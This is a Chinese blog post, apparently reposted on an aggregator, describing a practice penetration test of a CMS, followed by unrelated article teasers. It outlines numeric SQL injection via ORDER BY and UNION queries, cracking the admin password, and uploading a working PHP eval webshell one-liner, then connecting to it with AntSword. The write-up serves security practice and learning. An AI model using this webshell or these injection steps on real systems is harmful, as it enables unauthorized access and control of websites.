记一次cms的web渗透测试练习

news2025/1/15 19:58:05

点击文章发现

尝试进行sql注入

得到漏洞为数字型
通过order by语句得到字段总数为15

通过union联合查询得到显示的字段编号

将database()带入得到数据库名为cms 接下来就是查表名、字段名、具体数据

发现密码经过加密，尝试解密

通过解密得知admin账户的密码为123456
登陆后台

文件管理界面存在文件上传漏洞，尝试上传webshell

1	`<?php @eval($_POST[777])?>`

未做任何防护，上传成功！
用蚁剑连接webshell

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.coloradmin.cn/o/2104673.html

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈，一经查实，立即删除！

潮玩宇宙斗兽场游戏源码多个猿猴boss模式玩法开发成品案例代码示例

潮玩宇宙中的斗猿场是很多潮玩人都喜欢玩的一种大逃杀类游戏，玩法大概是这样的，玩家选择一个格子躲避恶猿，满足人数后恶猿会按随机数顺时针前行，在某个格子停留后杀死里面所有猴子，被踩中的格子内的玩家则会被恶猿杀掉…

glsl着色器学习（十）缩放

对二维图形进行缩放，需要用到顶点着色器，顶点着色器经过矩阵变换，会将模型空间最终转换成裁剪空间。下面就来操作矩阵这里需要用到一个库glMatrix。首先修改顶点着色器 <script id"vertex-shader-2d" type"x-shader/x-…

【AI大模型】2024 大模型爆发年，这些教程足够你入局AI大模型，搭上行业风口！

如果说 2023 年被称为 AI 元年，那么 2024 年就正式步入了爆发年！几乎身边的每个程序员/每个产品经理都在思考：如何入局AI大模型？怎样才能成为这只风口上的猪？ 作为一个普通人，应该如何入局？怎样…

多面体随旋转发出不同色彩效果

多面体随旋转发出不同色彩效果下载地址：https://download.csdn.net/download/Allen7474/89713552 效果图： 实现细节： >>阶段1： >>阶段2： >>阶段3：

微软Azure OpenAI 集成矢量化

Azure AI Search中已全面支持集成矢量化与 Azure OpenAI 嵌入。这标志着我们持续致力于简化和加快检索增强生成 (RAG)和传统应用程序的数据准备和索引创建的重要里程碑。集成矢量化简化了 RAG 流程参考链接：微软Azure OpenAI 免费试用申请为什么矢量化很重要…

VBA中类的解读及应用第十五讲:让文本框在激活时改变颜色(上)

《VBA中类的解读及应用》教程【10165646】是我推出的第五套教程，目前已经是第一版修订了。这套教程定位于最高级，是学完初级，中级后的教程。类，是非常抽象的，更具研究的价值。随着我们学习、应用VBA的深入&#xff0…

css设置让整个盒子的内容渐变透明（非颜色渐变透明）

css设置让整个盒子的内容渐变透明（非颜色渐变透明） 效果核心css代码效果核心css代码 /* 设置蒙版上下左右渐变显示 */ mask-image: linear-gradient(to right, rgba(0, 0, 0, 0) 0%, rgba(0, 0, 0, 1) 10%, rgba(0, 0, 0, 1) 90%, rgba(0, 0, 0, 0) 1…

使用命令行窗口新建一个Java文件，输出HelloWorld

进入桌面 cd desktop在桌面新建文件夹 mkdir zwt进入文件夹，新建.Java文件 cd zwt echo. > helloWorld.java使用记事本打开文件编写代码 notepad HelloWorld.java此时电脑就会自动打开文件，直接编写代码 public class HelloWorld(){public stati…

北京君正低功耗MCU芯片应用在柯氏音法电子血压计

汉王科技，作为一家在中关村有着30年品牌历史的人工智能企业，始终致力于利用先进技术提升人们的生活品质。近日，继血压计KSY-FF660上市掀起血压测量新标准后，汉王科技再次突破行业创新，推出一体式柯氏音法电子血压计FY7…

高速信号真的可以参考电源层吗？

信号电流必须具有完整的环路，才可传递信息。完整的环路即信号由驱动器发出，经导线传输至接收器，然后再通过某种途径由接收器返回驱动器，形成闭环回路。高速信号的参考平面一般为信号GND平面，是否可以参考电源平面…

使用iframe在Vue中实现ChatGPT嵌入及微前端解决方案

更多内容个人网站：孔乙己大叔在现代Web开发中，iframe（Inline Frame）是一个强大的工具，它允许开发者在一个HTML文档中嵌入另一个HTML文档。这种技术不仅可用于简单的网页内容嵌入，还广泛应用于复杂的应用集…

C++基础之杂项

目录思维导图： 学习内容： 1. Lambda表达式 1.1 基本概念 1.2 定义格式 1.3 常用情况二、异常处理 2.1 什么是异常处理 2.2 何时使用异常处理 2.3 异常处理的格式 2.4 异常实例 2.5 构造和析构中的异常 2.6 系统提供异常类三、C中文件…

Arduino基础入门学习——使用BH1750（GY-302）光照强度传感器获取光照强度

使用BH1750（GY-302）光照强度传感器获取光照强度一、前言二、BH1750（GY-302）介绍三、准备工作四、程序代码五、运行结果六、结束语一、前言话不多说，先给大家来一句鸡汤（鸡汤来咯！&#xff09…

一：pypinyin 作用：汉字转拼音 pip3 install pypinyin使用 from pypinyin import lazy\_pinyin,TONE2,TONEres \ lazy\_pinyin(先帝创业未半) print(res) #\[xian, di, chuang, ye, wei, ban\] res \ lazy\_pinyin(先帝创业未半,styleTONE2) print(re…